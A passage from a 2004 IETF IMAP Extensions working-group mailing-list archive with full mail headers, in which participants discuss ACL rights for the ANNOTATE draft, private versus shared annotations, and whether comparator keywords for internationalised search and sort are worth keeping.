provide substantial performance improvements for IMAP clients which offer sorted and threaded views. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-imapext-sort-17.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-imapext-sort-17.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-imapext-sort-17.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2004-5-24153403.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-imapext-sort-17.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-imapext-sort-17.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2004-5-24153403.I-D@ietf.org> --OtherAccess-- --NextPart-- Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OIrWbH024106; Mon, 24 May 2004 11:53:32 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4OIrW4l024105; Mon, 24 May 2004 11:53:32 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OIrURX024098 for ; Mon, 24 May 2004 11:53:31 -0700 (PDT) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (internal) with ESMTPA; Mon, 24 May 2004 19:53:28 +0100 Message-ID: <40B244A7.2000101@isode.com> Date: Mon, 24 May 2004 19:53:27 +0100 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Timo Sirainen CC: IMAP Extensions WG , Lisa Dusseault Subject: Re: Issues on annotate-09 References: <5F992D44-AAA1-11D8-8F35-000A95B2BB72@osafoundation.org> <40AE3980.9090007@isode.com> <4B14174B-AB5A-11D8-8F35-000A95B2BB72@osafoundation.org> <40B1172D.1090105@isode.com> In-Reply-To: Content-Type: text/plain; charset=KOI8-R; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Timo Sirainen wrote: > On 24.5.2004, at 00:27, Alexey Melnikov wrote: > >> I think there is a subtle issue here. If a mailbox was opened as >> read-only (for example the client used the SELECT command, but the >> user doesn't have ACL rights to store IMAP flags), this sentence says >> that the client is still able to set IMAP flags through ANNOTATE >> interface (as all IMAP flags are mapped to ANNOTATE entries). So >> effectively ANNOTATE can be used to circumvent access controls? I've >> also found the following text in section 1: > > It would be best if it was possible to separate > store-shared-imap-flags and store-private-imap-flags ACLs. > >> > A user can only store and fetch shared >> > annotations on messages in any mailbox that they can SELECT and >> which >> > opens READ-WRITE. If a client attempts to store or fetch a shared >> > annotation on a READ-ONLY mailbox, the server MUST respond with a NO >> > response. > > Why is fetching shared annotations in READ-ONLY mailbox prohibited? I > don't think it should be. Good point. Maybe we can use "W" right in order to be able to store shared annotations and "w" right in order to be able to store private annotations? Alexey Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OIlBN6022433; Mon, 24 May 2004 11:47:11 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4OIlBMQ022432; Mon, 24 May 2004 11:47:11 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OIl7rV022408 for ; Mon, 24 May 2004 11:47:10 -0700 (PDT) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (internal) with ESMTPA; Mon, 24 May 2004 19:47:04 +0100 Message-ID: <40B24327.30804@isode.com> Date: Mon, 24 May 2004 19:47:03 +0100 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Rob Siemborski CC: Timo Sirainen , IMAP Extensions WG , Lisa Dusseault Subject: Re: Issues on annotate-09 References: <5F992D44-AAA1-11D8-8F35-000A95B2BB72@osafoundation.org> <40AE3980.9090007@isode.com> <4B14174B-AB5A-11D8-8F35-000A95B2BB72@osafoundation.org> <40B1172D.1090105@isode.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Rob Siemborski wrote: > On Mon, 24 May 2004, Timo Sirainen wrote: > >> On 24.5.2004, at 00:27, Alexey Melnikov wrote: >> >>> I think there is a subtle issue here. If a mailbox was opened as >>> read-only (for example the client used the SELECT command, but the >>> user doesn't have ACL rights to store IMAP flags), this sentence >>> says that the client is still able to set IMAP flags through >>> ANNOTATE interface (as all IMAP flags are mapped to ANNOTATE >>> entries). So effectively ANNOTATE can be used to circumvent access >>> controls? I've also found the following text in section 1: >> >> It would be best if it was possible to separate >> store-shared-imap-flags and store-private-imap-flags ACLs.. > > Didn't we discuss the application of ACLs to ANNOTATE and ANNOTATEMORE > a while ago, and decide that it made the situation much more complex > than we wanted? We don't want to go down the road of ACAP, for sure... > > Maybe it was just in a message between myself and Cyrus... I vaguely remember this as well. However, the document should say that "t" right is required for setting private/shared /flags/\deleted and "s" right is required for /flags/\seen. We have to do this to be consistent with ACL/ACL2. Because there is currently no way of knowing if \Seen maps to /flags/\seen "value.shared" or "value.private", I think the same access right should be used for both. Alexey Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OI4LkN010439; Mon, 24 May 2004 11:04:21 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4OI4LnC010438; Mon, 24 May 2004 11:04:21 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OI4G4r010412 for ; Mon, 24 May 2004 11:04:17 -0700 (PDT) (envelope-from MRC@CAC.Washington.EDU) Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4OI48Wc007233; Mon, 24 May 2004 11:04:08 -0700 Received: from Kami-Tomobiki.Panda.COM (panda.com [206.124.149.114]) (authenticated bits=0) by smtp.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4OI3rWU022659 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 24 May 2004 11:04:07 -0700 Date: Mon, 24 May 2004 11:03:51 -0700 (Pacific Daylight Time) From: Mark Crispin To: Cyrus Daboo cc: Arnt Gulbrandsen , IMAP Extensions WG Subject: Re: draft-i18n and search/sort In-Reply-To: Message-ID: References: Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: On Mon, 24 May 2004, Cyrus Daboo wrote: > Sometimes it is handy to choose between case-sensitive and case-insensitive > searching on a case-by-case basis, so having a single comparator parameter to > search to override the default for that search only would be useful. Allowing > a comparator for each search criterion seems excessive. If we ever get around > to adding search match-types (e.g. from SIEVE - :is, :contains, :matches, > :regex etc) then those would have to be added on a per-criterion basis. What do you perceive as the likelihood of any of this actually getting implemented -- and more importantly, implemented *right*? I am not optimistic; and history supports my pessimism. More to the point: I doubt very much that any client will ever be able to rely upon a server offering this level of functionality. Worse, many servers which claim to offer this functionality will turn out not to do so correctly, which will lead to perceptions that the client is broken. I would be much more sanguine if I didn't spend significant parts of my life arguing with people over the importance of getting basic aspects of protocols right. The typical script of the tragicomedy starts with the statement "Pine is broken because it doesn't work with the blurdybloop server. Outlook and Mozilla work fine." -- Mark -- "PETA kook" is a tautology. Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OHgxOw005807; Mon, 24 May 2004 10:42:59 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4OHgx4i005806; Mon, 24 May 2004 10:42:59 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from darius.cyrusoft.com (darius.cyrusoft.com [63.163.82.2]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OHgwu8005791 for ; Mon, 24 May 2004 10:42:59 -0700 (PDT) (envelope-from daboo@cyrusoft.com) Received: from diogenes (diogenes.cyrusoft.com [63.163.82.25]) (authenticated bits=0) by darius.cyrusoft.com (8.12.9/8.12.9) with ESMTP id i4OHe71F009125 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 24 May 2004 13:40:07 -0400 Date: Mon, 24 May 2004 13:37:53 -0400 From: Cyrus Daboo To: Lisa Dusseault , Alexey Melnikov cc: IMAP Extensions WG Subject: Re: Issues on annotate-09 Message-ID: In-Reply-To: <7042920B-ADA2-11D8-8F35-000A95B2BB72@osafoundation.org> References: <5F992D44-AAA1-11D8-8F35-000A95B2BB72@osafoundation.org> <40AE3980.9090007@isode.com> <4B14174B-AB5A-11D8-8F35-000A95B2BB72@osafoundation.org> <40B1172D.1090105@isode.com> <7042920B-ADA2-11D8-8F35-000A95B2BB72@osafoundation.org> X-Mailer: Mulberry/3.1.4 (SunOS/SPARC) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Status: No, hits=0.0 tests=none Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Hi Lisa, --On Monday, May 24, 2004 09:50:18 AM -0700 Lisa Dusseault wrote: >> So, giving some basic usage guidelines when registering entries would >> be a good idea. > > It's worse than that, because a user may have different clients. So if > one client makes an attribute public, and another client doesn't show > whether the attribute is private or public, a user could get into trouble. One of the reasons for the .priv, .shared approach is that the nature of each is explicitly defined. Clients will always know the difference - there is no ambiguity. > However, registering properties as private or public will go a long way. > Does that mean that if the property "foobar" is registered as private, > that a client may not attempt to create a public value for it? That > would be a reasonable safeguard -- but in any case, the framework also > needs to explain what servers do when a property is registered one way > and used another way, or whether that's even possible to express. If a > property is registered as private, then there may not need to be a > private/shared syntax for setting or getting the property. > Registering properties as private or shared is a non-starter in my opinion. Consider what a server would have to do in a case like that: the server would have to have some internal table tracking the private/shared status of each property (as defined in the registry) so that it can determine whether the current user can access that property. It would be impossible to keep the server up to date with the registry. If you wanted to allow something like that, the best solution would be to have a 'shared' attribute for each property. If that is set to 'true' then the property is shared, if set to 'false' or non-existent, then it is private. Servers can then use that attribute to determine the access for the current user. The downside to this is that it relies on the client to make sure that the attribute is set correctly for the type of access the user wants to allow. Again .priv/.shared avoids that problem because the access is explicit for each value. Plus I think adding a 'shared' attribute will naturally lead to having full blown ACLs attributes on each value - and that will lead us down the ACAP path to oblivion! -- Cyrus Daboo Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OHPmas002432; Mon, 24 May 2004 10:25:48 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4OHPmgm002431; Mon, 24 May 2004 10:25:48 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from darius.cyrusoft.com (darius.cyrusoft.com [63.163.82.2]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OHPhNo002389 for ; Mon, 24 May 2004 10:25:43 -0700 (PDT) (envelope-from daboo@cyrusoft.com) Received: from diogenes (diogenes.cyrusoft.com [63.163.82.25]) (authenticated bits=0) by darius.cyrusoft.com (8.12.9/8.12.9) with ESMTP id i4OHMe1F008704 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 24 May 2004 13:22:41 -0400 Date: Mon, 24 May 2004 13:20:27 -0400 From: Cyrus Daboo To: Mark Crispin , Arnt Gulbrandsen cc: IMAP Extensions WG Subject: Re: draft-i18n and search/sort Message-ID: In-Reply-To: References: X-Mailer: Mulberry/3.1.4 (SunOS/SPARC) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Status: No, hits=0.0 tests=none Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Hi Mark, --On Monday, May 24, 2004 10:08:56 AM -0700 Mark Crispin wrote: >> If noone can, I have to ask: Are the comparator keywords to search and >> sort worth it? > > I don't think so. There should just be a means to set the comparator in > the server, which will typically be done as part of initial negotiations. Sometimes it is handy to choose between case-sensitive and case-insensitive searching on a case-by-case basis, so having a single comparator parameter to search to override the default for that search only would be useful. Allowing a comparator for each search criterion seems excessive. If we ever get around to adding search match-types (e.g. from SIEVE - :is, :contains, :matches, :regex etc) then those would have to be added on a per-criterion basis. -- Cyrus Daboo Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OH95Ef097642; Mon, 24 May 2004 10:09:05 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4OH95Lb097641; Mon, 24 May 2004 10:09:05 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OH94gu097625 for ; Mon, 24 May 2004 10:09:04 -0700 (PDT) (envelope-from mrc@CAC.Washington.EDU) Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4OH8uYJ014746; Mon, 24 May 2004 10:08:56 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4OH8uQD023903; Mon, 24 May 2004 10:08:56 -0700 Date: Mon, 24 May 2004 10:08:56 -0700 (PDT) From: Mark Crispin To: Arnt Gulbrandsen cc: IMAP Extensions WG Subject: Re: draft-i18n and search/sort In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: On Mon, 24 May 2004, Arnt Gulbrandsen wrote: > If noone can, I have to ask: Are the comparator keywords to search and sort > worth it? I don't think so. There should just be a means to set the comparator in the server, which will typically be done as part of initial negotiations. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OGoSqA092676; Mon, 24 May 2004 09:50:28 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4OGoS4X092675; Mon, 24 May 2004 09:50:28 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from kahuna.osafoundation.org (kahuna.osafoundation.org [204.152.186.98]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OGoS4G092654 for ; Mon, 24 May 2004 09:50:28 -0700 (PDT) (envelope-from lisa@osafoundation.org) X-Envelope-From: lisa@osafoundation.org X-Envelope-To: ietf-imapext@imc.org Received: from [192.168.101.178] (w002.z065106067.sjc-ca.dsl.cnc.net [65.106.67.2]) (authenticated bits=0) by kahuna.osafoundation.org (8.12.8/8.12.8) with ESMTP id i4OGnhJL013708 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NO); Mon, 24 May 2004 09:49:45 -0700 In-Reply-To: <40B1172D.1090105@isode.com> References: <5F992D44-AAA1-11D8-8F35-000A95B2BB72@osafoundation.org> <40AE3980.9090007@isode.com> <4B14174B-AB5A-11D8-8F35-000A95B2BB72@osafoundation.org> <40B1172D.1090105@isode.com> Mime-Version: 1.0 (Apple Message framework v613) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <7042920B-ADA2-11D8-8F35-000A95B2BB72@osafoundation.org> Content-Transfer-Encoding: 7bit Cc: IMAP Extensions WG From: Lisa Dusseault Subject: Re: Issues on annotate-09 Date: Mon, 24 May 2004 09:50:18 -0700 To: Alexey Melnikov X-Mailer: Apple Mail (2.613) X-Scanned-By: MIMEDefang 2.39 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: >> Too hard to manage, too flexible to present to the user, overkill. >> I'm saying this as an IMAP client implementor, but I haven't been >> one for long. Are there any other client implementors out there who >> have plans for UIs to manage all this flexibility? > > Note, I didn't say that every client should allow the user to pick > whether the client should operate on an private attribute, a shared > attribute or both. > For each entry known to the client (and in most cases the client will > only support a hardcoded set of entries) the client will have some > specific logic how to use/update the entry. > > So, giving some basic usage guidelines when registering entries would > be a good idea. It's worse than that, because a user may have different clients. So if one client makes an attribute public, and another client doesn't show whether the attribute is private or public, a user could get into trouble. However, registering properties as private or public will go a long way. Does that mean that if the property "foobar" is registered as private, that a client may not attempt to create a public value for it? That would be a reasonable safeguard -- but in any case, the framework also needs to explain what servers do when a property is registered one way and used another way, or whether that's even possible to express. If a property is registered as private, then there may not need to be a private/shared syntax for setting or getting the property. > > I frankly haven't seen a program that performs language specific > sorting. Does anybody have user experience with that? Java has a number of built-in collators for different languages, such as French (allegedly over 70 language-country combinations). So any Java-based application that sets the locale correctly, before displaying sorted lists, would do this feature. Apparently the java-based program Eclipse does this properly. I also ran across information on how to do i18n sorting with Perl and XSLT. I also tested that this is supported in Word X for Mac. Here's how: - Create a table - In one column, put the words "cabal", "cancer", "checkers", "chin", "crazy", "cuddle" (each in its own row) - Select this column - In the Table menu, choose Sort - In the Sort dialog, choose "options" - Choose Czech to sort Result: the Ch words should be at the *end* of the list, after "crazy" and "cuddle". You can resort as English and it should go back to having Ch words in the middle of the list. Lisa Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OFfAPo072450; Mon, 24 May 2004 08:41:10 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4OFfATK072449; Mon, 24 May 2004 08:41:10 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from libertango.oryx.com (libertango.oryx.com [195.30.94.163]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OFf5oE072370 for ; Mon, 24 May 2004 08:41:09 -0700 (PDT) (envelope-from arnt@gulbrandsen.priv.no) Message-Id: From: Arnt Gulbrandsen To: IMAP Extensions WG Subject: draft-i18n and search/sort Content-Type: text/plain; charset=iso-8859-1; format=flowed MIME-Version: 1.0 Date: Mon, 24 May 2004 17:42:48 +0200 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id i4OFf9oE072444 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Hi, I thought I'd add more examples to the i18n draft before publishing a new version. Writing examples for the search/sort comparator key (section 4.5) is proving a little challenging, however. Just look at this: C: a comparator en;ascii-casemap S: * comparator en;ascii-casemap (en;ascii-casemap i;octet) S: a ok C: b search from jones comparator i;basic;uca=3.1.1;uv=3.2 subject mumble comparator en;ascii-casemap body stumble S: * search 1 7 S: b ok So, the client is telling the server to use the regular case-insensitive ascii collator for the from field part of search, the übersmart unicode collator the subject part and the ascii collator again for the body part. I'd rather put in an example which looks useful, if someone can suggest one. Ideally it should also be something a real-world client would use. If noone can, I have to ask: Are the comparator keywords to search and sort worth it? Arnt Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OEfBLs055849; Mon, 24 May 2004 07:41:11 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4OEfBgX055848; Mon, 24 May 2004 07:41:11 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from smtp-test.andrew.cmu.edu (SMTP-TEST.andrew.cmu.edu [128.2.6.59]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OEfA7h055823 for ; Mon, 24 May 2004 07:41:10 -0700 (PDT) (envelope-from rjs3@andrew.cmu.edu) Received: from SOURCEFOUR.andrew.cmu.edu (SOURCEFOUR.andrew.cmu.edu [128.2.122.8]) (user=rjs3 mech=GSSAPI (0 bits)) by smtp-test.andrew.cmu.edu (8.12.10/8.12.10) with ESMTP id i4OEf3af025581; Mon, 24 May 2004 10:41:03 -0400 Date: Mon, 24 May 2004 10:41:03 -0400 (EDT) From: Rob Siemborski To: Timo Sirainen cc: Alexey Melnikov , IMAP Extensions WG , Lisa Dusseault Subject: Re: Issues on annotate-09 In-Reply-To: Message-ID: References: <5F992D44-AAA1-11D8-8F35-000A95B2BB72@osafoundation.org> <40AE3980.9090007@isode.com> <4B14174B-AB5A-11D8-8F35-000A95B2BB72@osafoundation.org> <40B1172D.1090105@isode.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: On Mon, 24 May 2004, Timo Sirainen wrote: > On 24.5.2004, at 00:27, Alexey Melnikov wrote: > >> I think there is a subtle issue here. If a mailbox was opened as read-only >> (for example the client used the SELECT command, but the user doesn't have >> ACL rights to store IMAP flags), this sentence says that the client is >> still able to set IMAP flags through ANNOTATE interface (as all IMAP flags >> are mapped to ANNOTATE entries). So effectively ANNOTATE can be used to >> circumvent access controls? I've also found the following text in section >> 1: > > It would be best if it was possible to separate store-shared-imap-flags and > store-private-imap-flags ACLs.. Didn't we discuss the application of ACLs to ANNOTATE and ANNOTATEMORE a while ago, and decide that it made the situation much more complex than we wanted? We don't want to go down the road of ACAP, for sure... Maybe it was just in a message between myself and Cyrus... -Rob -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Rob Siemborski | Andrew Systems Group * Research Systems Programmer PGP:0x5CE32FCC | Cyert Hall 207 * rjs3@andrew.cmu.edu * 412.268.7456 -----BEGIN GEEK CODE BLOCK---- Version: 3.12 GCS/IT/CM/PA d- s+: a-- C++++$ ULS++++$ P+++$ L+++ E W+ N(-) o? K- w-- O- M-- V-- PS+ PE+ Y+ PGP+ t+@ 5+++ X- R@ tv-- b+ DI+++ D++ G e++ h+ r- y? ------END GEEK CODE BLOCK----- Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4NMPBnY067846; Sun, 23 May 2004 15:25:11 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4NMPBBF067845; Sun, 23 May 2004 15:25:11 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from danu.procontrol.fi (kone17.procontrol.vip.fi [212.149.71.178]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4NMP9MM067813 for ; Sun, 23 May 2004 15:25:10 -0700 (PDT) (envelope-from tss@iki.fi) Received: by danu.procontrol.fi (Postfix, from userid 106) id E1BF41C185E2; Mon, 24 May 2004 01:25:06 +0300 (EEST) Received: from [192.168.10.217] (ip213-185-36-189.laajakaista.mtv3.fi [213.185.36.189]) by danu.procontrol.fi (Postfix) with ESMTP id A0DCB1C185E1; Mon, 24 May 2004 01:24:32 +0300 (EEST) In-Reply-To: <40B1172D.1090105@isode.com> References: <5F992D44-AAA1-11D8-8F35-000A95B2BB72@osafoundation.org> <40AE3980.9090007@isode.com> <4B14174B-AB5A-11D8-8F35-000A95B2BB72@osafoundation.org> <40B1172D.1090105@isode.com> Mime-Version: 1.0 (Apple Message framework v613) Content-Type: multipart/signed; protocol="application/pgp-signature"; micalg=pgp-sha1; boundary="Apple-Mail-11--330313275" Message-Id: Content-Transfer-Encoding: 7bit Cc: IMAP Extensions WG , Lisa Dusseault From: Timo Sirainen Subject: Re: Issues on annotate-09 Date: Mon, 24 May 2004 01:24:29 +0300 To: Alexey Melnikov X-Pgp-Agent: GPGMail 1.0.2 X-Mailer: Apple Mail (2.613) X-Spam-Status: No, hits=-7.6 required=5.0 tests=AWL,BAYES_00,EMAIL_ATTRIBUTION,IN_REP_TO,PGP_SIGNATURE_2, QUOTED_EMAIL_TEXT,REFERENCES,REPLY_WITH_QUOTES, USER_AGENT_APPLEMAIL autolearn=ham version=2.54 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.54 (1.174.2.17-2003-05-11-exp) Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: --Apple-Mail-11--330313275 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed On 24.5.2004, at 00:27, Alexey Melnikov wrote: > I think there is a subtle issue here. If a mailbox was opened as > read-only (for example the client used the SELECT command, but the > user doesn't have ACL rights to store IMAP flags), this sentence says > that the client is still able to set IMAP flags through ANNOTATE > interface (as all IMAP flags are mapped to ANNOTATE entries). So > effectively ANNOTATE can be used to circumvent access controls? I've > also found the following text in section 1: It would be best if it was possible to separate store-shared-imap-flags and store-private-imap-flags ACLs.. > > A user can only store and fetch shared > > annotations on messages in any mailbox that they can SELECT and > which > > opens READ-WRITE. If a client attempts to store or fetch a shared > > annotation on a READ-ONLY mailbox, the server MUST respond with a > NO > > response. Why is fetching shared annotations in READ-ONLY mailbox prohibited? I don't think it should be. --Apple-Mail-11--330313275 content-type: application/pgp-signature; x-mac-type=70674453; name=PGP.sig content-description: This is a digitally signed message part content-disposition: inline; filename=PGP.sig content-transfer-encoding: 7bit -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (Darwin) iD8DBQFAsSSdyUhSUUBViskRAtsOAJ0e8czF2U/UMIWYlNULdOe4IlhsfwCglyI3 emdy4SrgAAbiXAqEeJCtbXo= =42j3 -----END PGP SIGNATURE----- --Apple-Mail-11--330313275-- Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4NLo44Y061590; Sun, 23 May 2004 14:50:04 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4NLo4wo061589; Sun, 23 May 2004 14:50:04 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4NLo28C061578 for ; Sun, 23 May 2004 14:50:02 -0700 (PDT) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (1Cust173.tnt9.lnd4.gbr.da.uu.net [62.188.138.173]) by rufus.isode.com via TCP (internal) with ESMTPA; Sun, 23 May 2004 22:48:46 +0100 Message-ID: <40B1172D.1090105@isode.com> Date: Sun, 23 May 2004 22:27:09 +0100 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 